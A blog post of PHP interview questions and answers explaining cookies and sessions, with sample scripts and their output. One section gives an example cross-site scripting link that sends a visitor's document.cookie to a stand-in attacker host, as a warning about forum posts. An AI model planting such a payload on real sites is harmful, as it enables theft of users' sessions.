Advanced PHP questions and answers

Posted by Stephen thangaraj at 01:26
How To Test Cookies on a Web Server?
If you want to test cookies with a browser, you need to run a Web server locally, or have access to a Web server remotely. Then you can copy the following PHP cookie test page, setting_receiving_cookies.php, to the Web server:
<?php
  setcookie("LoginName","PICKZYCenter");
  setcookie("PreferredColor","Blue");
  print("<pre>\n");
  print("2 cookies were delivered.\n");
 
  if (isset($_COOKIE["LoginName"])) {
    $loginName = $_COOKIE["LoginName"];
    print("Received a cookie named as LoginName: ".$loginName."\n");
  } else {
    print("Did not received any cookie named as LoginName.\n");
  }
 
  $count = count($_COOKIE);
  print("$count cookies received.\n");
  foreach ($_COOKIE as $name => $value) {
     print "  $name = $value\n";
  }
  print("</pre>\n");
?>
If you open this PHP page with a browser as http://localhost/setting_receiving_cookies.php, you will get:
2 cookies were delivered.
Did not received any cookie named as LoginName.
0 cookies received.
"0 cookies received" is because there was no previous visit from this browser. But if you click the refresh button of your browser, you will get:
2 cookies were delivered.
Received a cookie named as LoginName: PICKZYCenter
2 cookies received.
  LoginName = PICKZYCenter
  PreferredColor = Blue


What Is a Persistent Cookie?
A persistent cookie is a cookie which is stored in a cookie file permanently on the browser's computer. By default, cookies are created as temporary cookies which stored only in the browser's memory. When the browser is closed, temporary cookies will be erased. You should decide when to use temporary cookies and when to use persistent cookies based on their differences:
  • Temporary cookies can not be used for tracking long-term information.
  • Persistent cookies can be used for tracking long-term information.
  • Temporary cookies are safer because no programs other than the browser can access them. 
  • Persistent cookies are less secure because users can open cookie files see the cookie values.
How To Set a Persistent Cookie?
If you want to set a persistent cookie, you can use the setcookie() function with an extra parameter to specify its expiration time. To follow sample script sets 2 persistent cookies to be expired within 7 days:
  setcookie("LoginName","PICKZYCenter");
  setcookie("PreferredColor","Blue");
  setcookie("CouponNumber","07470433",time()+60*60*24*7);
  setcookie("CouponValue","100.00",time()+60*60*24*7);
  print("2 temporary cookies were delivered.\n");
  print("2 consistent cookies were delivered.\n");

How To Test Persistent Cookies?
If you want to test persistent cookies, you can copy the following PHP script, setting_persistent_cookies.php, to your Web server:
<?php
  setcookie("LoginName","PICKZYCenter");
  setcookie("PreferredColor","Blue");
  setcookie("CouponNumber","07470433",time()+60*60*24*7);
  setcookie("CouponValue","100.00",time()+60*60*24*7);
 
  print("<pre>\n");
  print("2 temporary cookies were delivered.\n");
  print("2 consistent cookies were delivered.\n");
 
  if (isset($_COOKIE["LoginName"])) {
    $loginName = $_COOKIE["LoginName"];
    print("Received a cookie named as LoginName: ".$loginName."\n");
  } else {
    print("Did not received any cookie named as LoginName.\n");
  }
 
  $count = count($_COOKIE);
  print("$count cookies received.\n");
  foreach ($_COOKIE as $name => $value) {
     print "  $name = $value\n";
  }
  print("</pre>\n");
?>
Open your browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:
2 temporary cookies were delivered.
2 consistent cookies were delivered.
Did not received any cookie named as LoginName.
0 cookies received.
Click the refresh button, you will see:
2 temporary cookies were delivered.
2 consistent cookies were delivered.
Received a cookie named as LoginName: PICKZYCenter
4 cookies received.
  LoginName = PICKZYCenter
  PreferredColor = Blue
  CouponNumber = 07470433
  CouponValue = 100.00
Close your browser and open it again to the same page. You will see:
2 temporary cookies were delivered.
2 consistent cookies were delivered.
Did not received any cookie named as LoginName.
2 cookies received.
  CouponNumber = 07470433
  CouponValue = 100.00
This proves that "CouponNumber" and CouponValue" persisted outside the browser.

How To Remove a Cookie?
Once a cookie is sent from the server to the browser, there is no direct way for the server to ask the browser to remove the cookie. But you can use the setcookie() function to send the same cookie to browser with a negative expiration time, which will cause the browser to expire (remove) the cookie immediately. The next sample PHP page will let you remove "CouponNumber" and CouponValue" persisted by the previous tutorial exercise:
<?php
  setcookie("CouponNumber","",time()-1);
  setcookie("CouponValue","",time()-1);
  print("<pre>\n");
  print("2 cookies were delivered with past times.\n");
 
  $count = count($_COOKIE);
  print("$count cookies received.\n");
  foreach ($_COOKIE as $name => $value) {
     print "  $name = $value\n";
  }
  print("</pre>\n");
?>
Open your browser to visit this page: http://localhost/removing_cookies.php. You will see:
2 cookies were delivered with past times.
2 cookies received.
  CouponNumber = 07470433
  CouponValue = 100.00
Click the refresh button, you will see:
2 cookies were delivered with past times.
0 cookies received.
As you can see, both cookies are removed.

What Are Domain and Path Attributes for Cookies?
Cookies can also be defined with two other attributes:
  • Domain - A cookie attribute that defines the domain name of Web servers where this cookie is valid. Web browsers holding this cookie should not sent it back to any Web server outside the specified domain. The default domain is the domain from which the cookie originally came from.
  • Path - A cookie attribute that defines the path name of Web server document path where this cookie is valid. Web browsers holding this cookie should not sent it back to the server when requesting any documents that are outside the specified path. The default path is the root path.

How To Specify Domain and Path for a Cookie?
If you want to specify domain and path for cookie, you can use the setcookie() function with two extra parameters. The sample PHP script below shows you how to set the domain and path attributes for temporary and persistent cookies:
<?php
  setcookie("LoginName","PICKZYCenter", NULL, "/", ".pickzycenter.com");
  setcookie("PreferredColor","Blue", NULL, "/", ".pickzycenter.com");
  setcookie("CouponNumber","07470433",time()+60*60*24*7,
    "/store", ".pickzycenter.com");
  setcookie("CouponValue","100.00",time()+60*60*24*7,
    "/store", ".pickzycenter.com");
  print("2 temporary cookies were delivered.\n");
  print("2 consistent cookies were delivered.\n");
?>

What Is the Common Mistake When Setting Path and Domain on Temporary Cookies?
A common mistake made by many PHP developers is using an empty string for the expiration time parameter when setting path and domain for temporary cookies. The PHP script below shows an example of this mistake:
<?php
  # Incorrect use of setcookie()
  setcookie("LoginName","PICKZYCenter", "", "/", ".pickzycenter.com");
 
  # Correct use of setcookie()
  setcookie("PreferredColor","Blue", NULL, "/", ".pickzycenter.com");
?>
If you run this script, you will get an error:
PHP Warning:  setcookie() expects parameter 3 to be long,
  string given in \php_working_with_cookies.php on line 3
How Cookies Are Transported from Servers to Browsers?
Cookies are transported from a Web server to a Web browser in the header area of the HTTP response message. Each cookie will be included in a separate "Set-Cookie:" header line in the following format:
Set-Cookie: name=value; expires=time; path=pathVal; domain=domainVal

How To View Cookie Header Lines?
If you are interested to see the cookie header lines, or you are having trouble with your cookies and need to see the cookies to help debugging, you can run your script with PHP CGI interface in a command line window. The following tutorial exercise shows you a good example:
>edit showing_cookie_header_lines.php
<?php
  setcookie("LoginName","PICKZYCenter");
  setcookie("PreferredColor","Blue", NULL, "/store");
  setcookie("CouponNumber","07470433",time()+60*60*24*7,"/store");
  setcookie("CouponValue","100.00",time()+60*60*24*7,
    "/store", ".pickzycenter.com");
  print("4 cookies were delivered.\n");
?>
 
>php-cgi showing_cookie_header_lines.php
Content-type: text/html
X-Powered-By: PHP/5.0.4
Set-Cookie: LoginName=PICKZYCenter
Set-Cookie: PreferredColor=Blue; path=/store
Set-Cookie: CouponNumber=07470433; expires=Sun, 05 Mar 2006
  02:33:43 GMT; path=/store
Set-Cookie: CouponValue=100.00; expires=Sun, 05 Mar 2006
  02:33:43 GMT; path=/store; domain=.pickzycenter.com
 4 cookies were delivered.

How Cookies Are Transported from Browsers to Servers?
Cookies are transported from a Web browser to a Web server in the header area of the HTTP request message. Each cookie will be included in a separate "Cookie:" header line in the following format:
GET / HTTP/1.1
Cookie: name1=value1
Cookie: name2=value2
Cookie: name3=value3
......
Accept: */*

Where Are the Persistent Cookies Stored on Your Computer?
The location and file names where persistent cookies are stored on your computer depend on which browser you are using. If you using Microsoft Internet Explorer, persistent cookies are stored in the \Documents and Settings\$user\Cookies directory. Cookies are stored in multiple cookie files with one file per Web server. Check your cookie directory on your local system, you will be surprised to see how many Web servers are setting persistent cookies to your computer.
How To Delete Cookie Files on Your Computer?
A simple way to delete cookie files on your computer is to use the function offered by the IE browser. The following tutorial exercise shows you how to delete cookie files created by IE:
  • Open IE (Internet Explorer)
  • Go to Options/Internet Options
  • Click the Delete Cookies button on the options dialog window.
Check the cookie directory again. All cookie files should be deleted.
How View the Content of a Cookie File?
Cookie files are normal text files. You can view them with any text editor. Follow the steps below to see what is in a cookie file created by your own PHP script.
Copy the following sample script, setting_persistent_cookies.php, to your Web server:
<?php
  setcookie("LoginName","PICKZYCenter");
  setcookie("PreferredColor","Blue");
  setcookie("CouponNumber","07470433",time()+60*60*24*7);
  setcookie("CouponValue","100.00",time()+60*60*24*7);
 
  print("<pre>\n");
  print("2 temporary cookies were delivered.\n");
  print("2 consistent cookies were delivered.\n");
 
  if (isset($_COOKIE["LoginName"])) {
    $loginName = $_COOKIE["LoginName"];
    print("Received a cookie named as LoginName: ".$loginName."\n");
  } else {
    print("Did not received any cookie named as LoginName.\n");
  }
 
  $count = count($_COOKIE);
  print("$count cookies received.\n");
  foreach ($_COOKIE as $name => $value) {
     print "  $name = $value\n";
  }
  print("</pre>\n");
?>
Open your IE browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:
2 temporary cookies were delivered.
2 consistent cookies were delivered.
Did not received any cookie named as LoginName.
0 cookies received.
Now go to \Documents and Settings\$user\Cookies directory and open the cookie file, $user@localhost.txt. You will see:
CouponNumber
07470433
localhost/
1024
3084847744
29787636
2404950512
29786228
*
CouponValue
100.00
localhost/
1024
3084847744
29787636
2405150512
29786228
*
How Does FireFox Manage Cookies?
FireFox browser allows you to delete old cookies, and gives you options to keep persistent cookies in cookie files until they reach their expiration time. The following tutorial shows you how to manage cookies in FireFox:
  • Run FireFox
  • Go to Tools/Options
  • Click Privacy and then Cookies
  • Click the Clear button to delete all old cookies
  • Change the Keep Cookies option to "until they expire" to allow persistent cookies to be store a cookie file.
In Which Does File FireFox Store Persistent Cookies?
If you change FireFox to keep cookies "until they expire", FireFox will store persistent cookies from all Web servers in a single file at: \Documents and Settings\$user\Application Data\Mozilla \Firefox\Profiles\xby7vgys.default\cookie.txt.
Open your FireFox browser to visit this page: http://localhost/setting_persistent_cookies.php. Then open FireFox cookie file. You will see:
# HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This is a generated file!  Do not edit.
# To delete cookies, use the Cookie Manager.
 
localhost   FALSE   /   FALSE   1149219379   CouponValue    100.00
localhost   FALSE   /   FALSE   1149219379   CouponNumber   07470433
......

How Many Cookies Can You Set?
How many cookies can you set in your PHP page? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
  • Internet Explorere (IE): 20
  • Mozilla FireFox: 50
If you want to test this limit, copy this sample script, how_many_cookies.php, to your Web server:
<?php
  $count = count($_COOKIE);
  $name = "Cookie_".($count+1);
  $value = "PICKZYCenter.com";
  setcookie($name, $value);
  print("<pre>\n"); 
  print("One cookies were added.\n"); 
  print("$count cookies received.\n");
  foreach ($_COOKIE as $name => $value) {
     print "  $name = $value\n";
  }
  print("</pre>\n"); 
?>
Open your browser to this page for first time, you will see:
One cookies were added.
0 cookies received.
Click the refresh button, you will see:
One cookies were added.
1 cookies received.
  Cookie_1 = PICKZYCenter.com
Keep clicking the refresh button, you will see the limit of your browser.
How Large Can a Single Cookie Be?
How large can a single cookie be? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
  • Internet Explorere (IE): about 3904 bytes
  • Mozilla FireFox: about 3136 bytess
If you want to test this limit, copy this sample script, huge_cookies.php, to your Web server:
<?php
  if (isset($_COOKIE["HomeSite"])) {
    $value = $_COOKIE["HomeSite"];
  } else {
    $value = "";
  }
  $value .= "http://dev.PICKZYCenter.com/faq/php";
  setcookie("HomeSite", $value);
  print("<pre>\n"); 
  print("Large cookie set with ".strlen($value)." characters.\n"); 
  print("</pre>\n"); 
?>
Open your browser to this page for first time, you will see:
Large cookie set with 32 characters.
Click the refresh button, you will see:
Large cookie set with 64 characters.
Keep clicking the refresh button, you will see the limit of your browser.

How Are Cookies Encoded During Transportation?
When cookies are transported from servers to browsers and from browsers back to servers, Cookies values are always encoded using the URL encoding standard to ensure that they are transported accurately. But you don't need to worry about the encoding and decoding processes yourself. PHP engine will automatically encode cookies created by setcookie(), and decode cookies in the $_COOKIE array. The tutorial exercise will help you understand this concept better.
Write a sample PHP script, encoding_cookies.php, like this:
<?php
  setcookie("Letters", "PICKZYCenter");
  setcookie("Symbols", "A~!@#%^&*(), -_=+[]{};:'\"/?<>.");
  setcookie("Latin1", "\xE6\xE7\xE8\xE9\xA5\xA9\xF7\xFC");
  print("<pre>\n"); 
  $count = count($_COOKIE);
  print("$count cookies received.\n");
  foreach ($_COOKIE as $name => $value) {
     print "  $name = $value\n";
  }
  print("</pre>\n"); 
?>
First, run this script off-line in a command window:
>php-cgi encoding_cookies.php
Content-type: text/html
X-Powered-By: PHP/5.0.4
Set-Cookie: Letters=PICKZYCenter
Set-Cookie: Symbols=A%7E%21%40%23%25%5E%26%2A%28%29%2C
  +-_%3D%2B%5B%5D%7B%7D%3B%3A%27%22%2F%3F%3C%3E.
Set-Cookie: Latin1=%E6%E7%E8%E9%A5%A9%F7%FC
 
<pre>
0 cookies received.
</pre>
You see how cookie values are encoded now. Then copy the script, encoding_cookies.php to the Web server, and run it with a browser. You will get:
3 cookies received.
  Letters = PICKZYCenter
  Symbols = A~!@#%^&*(), -_=+[]{};:\'\"/?.<>
  Latin1 = æçè饩÷ü
This shows that the values in the $_COOKIE array are already decoded.


How Can Other Webmaster Steal Your Cookies?
All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:
<a href="#" onclick="window.location='http://www.badwebmaster.com
  /stole.cgi?text='+escape(document.cookie); return false;">
  Click here to get your free gift!
If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies).
So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.

What Is a Session?
A session is a logical object created by the PHP engine to allow you to preserve data across subsequent HTTP requests.
There is only one session object available to your PHP scripts at any time. Data saved to the session by a script can be retrieved by the same script or another script when requested from the same visitor.
Sessions are commonly used to store temporary data to allow multiple PHP pages to offer a complete functional transaction for the same visitor.
How To Turn On the Session Support?
The session support can be turned on automatically at the site level, or manually in each PHP page script:
  • Turning on session support automatically at the site level: Set session.auto_start = 1 in php.ini.
  • Turning on session support manually in each page script: Call session_start() funtion.
How To Save Values to the Current Session?
When session is turned on, a session will be automatically created for you by the PHP engine. If you want to save any values to the session, you can use the pre-defined associative array called $_SESSION. The following PHP script shows you how to save values to the session:
<?php
  session_start();
  print("<html><pre>");
 
  $_SESSION["MyLogin"] = "PICKZYCenter";
  print("A value saved in the session named as MyLogin.\n");
 
  $_SESSION["MyColor"] = "Blue";
  print("A value saved in the session named as MyColor.\n");
 
  print("Click <a href=next_page.php>Next Page</a>"
    ." to retrieve the values.\n");
  print("</pre></html>\n");
?>
If you save this script to your Web server as first_page.php and visit it with a browser, you will get:
A value saved in the session named as MyLogin.
A value saved in the session named as MyColor.
Click Next Page to retrieve the values.
How To Retrieve Values from the Current Session?
If you know some values have been saved in the session by an other script requested by the same visitor, you can retrieve those values back by using the pre-defined associative array called $_SESSION. The following PHP script shows you how to retrieve values from the session:
<?php
  session_start();
  print("<html><pre>");
 
  $myLogin = $_SESSION["MyLogin"];
  print("Value of MyLogin has been retrieved: ".$myLogin."\n");
 
  $myColor = $_SESSION["MyColor"];
  print("Value of MyColor has been retrieved: ".$myColor."\n");
 
  print("</pre></html>\n");
?>
You need to save this script to your Web server as next_page.php. Now visit first_page.php and click the "Next Page" hyper like, you will get:
Value of MyLogin has been retrieved: PICKZYCenter
Value of MyColor has been retrieved: Blue

What Is a Session ID?
A session ID is an identification string of a session. Since there might be multiple visitors coming to your Web site at the same time, the PHP engine needs to maintain multiple sessions concurrently. Session IDs are created and maintained by the PHP engine to identify sessions.
When a visitor comes to your Web site requesting the first PHP page for the first time, the PHP engine will create a new session and assign a unique session ID to this new session. The first PHP page can set some values to the session. When the same visitor clicks a hyper link requesting the second PHP page, the PHP engine will use the same session ID to find the same session created for the first page and give it to the second page. No new session will be created for the second page.
How To Retrieve the Session ID of the Current Session?
Normally, you don't need to know the session ID of the current session. But if you are interested to know the session ID created by the PHP engine, there are two ways to get it:
  • Calling session() function. It will return the session ID value.
  • Using built-in constant SID. It will contains a string of session ID name and value.
The tutorial PHP script below shows you how to retrieve the session ID in two ways:
<?php
  session_start();
  print("<html><pre>");
 
  $sid = session_id();
  print("Session ID returned by session_id(): ".$sid."\n");
  $sid = SID;
  print("Session ID returned by SID: ".$sid."\n");
 
  $myLogin = $_SESSION["MyLogin"];
  print("Value of MyLogin has been retrieved: ".$myLogin."\n");
  $myColor = $_SESSION["MyColor"];
  print("Value of MyColor has been retrieved: ".$myColor."\n");
 
  print("</pre></html>\n");
?>
You need to save this script to your Web server as next_page.php. Now visit first_page.php and click the "Next Page" hyper like, you will get something like this:
Session ID returned by session_id(): rfnq17ui6c7g6pjbtc46n0vi97
Session ID returned by SID: PHPSESSID=rfnq17ui6c7g6pjbtc46n0vi97
Value of MyLogin has been retrieved: PICKZYCenter
Value of MyColor has been retrieved: Blue
Now you know that the session ID created by the PHP engine is 26 characters long with alphanumeric characters only.



click the Below link download this file 


If you enjoyed this post and wish to be informed whenever a new post is published, then make sure you subscribe to my regular Email Updates. Subscribe Now!


Kindly Bookmark and Share it:

YOUR ADSENSE CODE GOES HERE

0 comments:

Have any question? Feel Free To Post Below:

Blog Archive

 

© 2011. All Rights Reserved | Interview Questions | Template by Blogger Widgets

Home | About | Top